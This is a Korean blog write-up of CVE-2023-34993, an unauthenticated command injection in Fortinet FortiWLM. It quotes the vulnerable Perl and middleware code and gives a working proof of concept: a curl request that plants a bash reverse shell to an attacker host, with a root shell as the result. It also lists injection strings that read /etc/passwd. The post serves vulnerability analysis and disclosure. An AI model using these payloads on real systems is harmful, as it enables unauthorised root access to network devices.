본문 바로가기
Security

cve-2023-34993 취약점

by 의지의 엘린 2025. 6. 19.

Fortinet의 FortiWLM(Wireless LAN Manager) 8.5.0–8.5.4 및 8.6.0–8.6.5 버전에서 발생하는 명령어 삽입(OS command injection) 취약점입니다. 특정 HTTP GET 요청 매개변수를 통해 인증 없이 공격자가 시스템 명령을 실행할 수 있어, 루트 권한 코드 실행이 가능합니다

 

 

🔒 주요 세부 정보

 

 

https://horizon3.ai/attack-research/disclosures/fortiwlm-the-almost-story-for-the-forti-forty/

 

Fortinet FortiWLM Deep-Dive, IOCs, and the Almost Story of the “Forti Forty”

FortiWLM Deep Dive and Indicators of Compromise. This blog details the discovery of many critical security issues such as RCE, SQLi, and file reads leading to full device compromise. CVE-2023-34993, CVE-2023-34991, CVE-2023-42783, CVE-2023-34989.

horizon3.ai

 

📌 핵심 포인트

  • 취약 경로:
    /ems/cgi-bin/ezrf_upgrade_images.cgi
  • 취약 파라미터:
    progressfile= (명령어 삽입 위치)
  • 조작 예시:
    progressfile=;/bin/id progressfile=;cat /etc/passwd progressfile=|whoami
  • 명령어 삽입 방식:
    ;, |, && 등으로 OS 명령 분기 가능

 

 

🧩 1. 취약점 진입점

📍 파일 1 – Perl 코드 (FortiWLM 서버 사이드 로직)

 
elsif ($op_type eq "deleteprogressfile") { &deleteprogressfile }
...
sub deleteprogressfile(){
    my $progressfile = $q->param('progressfile');
    system ("/bin/rm ".$systemTempDir.$progressfile." 2> /dev/null");
}
  • op_type=deleteprogressfile 요청이 들어오면,
  • progressfile 파라미터에 있는 값을 서버 명령어 문자열에 직접 삽입하여 system() 호출로 /bin/rm 실행.

➡️ 입력값 검증 없이 바로 system 명령어 조합 → OS 명령어 삽입 취약


🔓 2. 인증 우회 가능 경로

📍 파일 3 – Django process_view() 미들웨어

elif brl.startswith('/ems/cgi-bin/ezrf_upgrade_images.cgi'):
    return None
  • 인증 우회 우려가 있는 /ems/cgi-bin/ezrf_upgrade_images.cgi 경로에 대해 SuperUser 세션이 없어도 return None → 필터 우회
  • 즉, ezrf_upgrade_images.cgi는 인증 없이도 직접 접근 가능

➡️ 공격자는 로그인 없이 곧바로 해당 취약 함수 접근 가능


🧪 3. PoC 실행 흐름

📍 파일 4 – 공격 시나리오 (reverse shell)

curl -k 'https://10.0.40.81/ems/cgi-bin/ezrf_upgrade_images.cgi?op_type=deleteprogressfile&progressfile=`bash%20-i%20>&/dev/tcp/10.0.40.83/443%200>&1`'
 
  • progressfile 파라미터에 백틱(`)으로 감싼 bash reverse shell 명령 삽입
  • 백틱은 system() 함수에서 shell 명령어로 실행됨

⬇️ 내부 동작 변환

system("/bin/rm ".$systemTempDir . "`bash -i >& /dev/tcp/10.0.40.83/443 0>&1`");
  • /bin/rm에 붙는 인자 자리에 백틱(`) 명령 실행 → 결과적으로 reverse shell이 먼저 실행

💥 공격 성공

  • 공격자는 nc -nlvp 443로 대기
  • 타겟이 접속 → id 명령 실행 → uid=0(root) 출력됨

➡️ 루트 권한으로 명령어 실행 성공! 완전한 시스템 탈취

 

단계 설명

1 인증 우회 가능한 /ems/cgi-bin/ezrf_upgrade_images.cgi로 접근
2 op_type=deleteprogressfile 지정 시 progressfile 파라미터가 system()에 직접 연결됨
3 progressfile=\bash -i >& /dev/tcp/ATTACKER/PORT 0>&1`` 삽입
4 Reverse Shell이 root 권한으로 실행됨
5 공격자 네트워크에서 쉘 수신 성공

 

 

URI 경로: /ems/cgi-bin/ezrf_upgrade_images.cgi 공격이 반드시 이 경로를 통해 들어옴
파라미터: op_type=deleteprogressfile 해당 취약 함수로 연결되는 조건
파라미터: progressfile= system()에 삽입되는 명령어 위치
**명령 삽입 패턴 (\``, ;, , $(), <, >` 등)**

 

 


 

 

원격 코드 실행 경로 #1

CVE-2023-34993 : Fortinet FortiWLM 인증되지 않은 명령 삽입 취약점

이 취약점은 원격의 인증되지 않은 공격자가 /ems/cgi-bin/ezrf_upgrade_images.cgi 엔드포인트 요청에 조작된 악성 문자열을 삽입할 수 있도록 허용하며, 이 문자열은 루트 컨텍스트에서 실행됩니다. 이 문제는 결과의 적절한 검증 부족과 잠재적으로 위험한 system() 함수 호출로 인해 발생합니다. 

인증 없이 명시적으로 허용된 첫 번째 엔드포인트인 /ems/cgi-bin/ezrf_upgrade_images.cgi는 /opt/meru/etc/ws/cgi-bin/ezrf_upgrade_images.cgi에서 찾을 수 있습니다. 모든 CGI 엔드포인트는 Perl 스크립트로, 엔드포인트에 따라 다양한 요청 매개변수를 파싱합니다. 이 매개변수는 때로는 검증되지만 때로는 검증되지 않습니다. 

이 ezrf_upgrade_image.cgi 엔드포인트는 op_type 요청 매개변수를 구문 분석하고, 값에 따라 스크립트 내의 정의된 다양한 함수에 제어를 전달합니다.

그림 3. ezrf_upgrade_images.cgi 작업 유형

deleteprogressfile () 함수는 progressfile 요청 매개변수를 추출한 다음 입력 검증 없이 system() 호출에 직접 전달합니다 .

그림 4. ezrf_upgrade_images.cgi의 취약한 deleteprogressfile()

op_type=deleteprogressfile 과 progressfile 매개변수 에 악성 문자열을 포함하여 인증되지 않은 엔드포인트에 요청을 보내면 루트 사용자의 컨텍스트에서 원격 코드가 실행됩니다.

그림 5. ezrf_ugprade_image.cgi 엔드포인트를 통한 루트로서의 인증되지 않은 RCE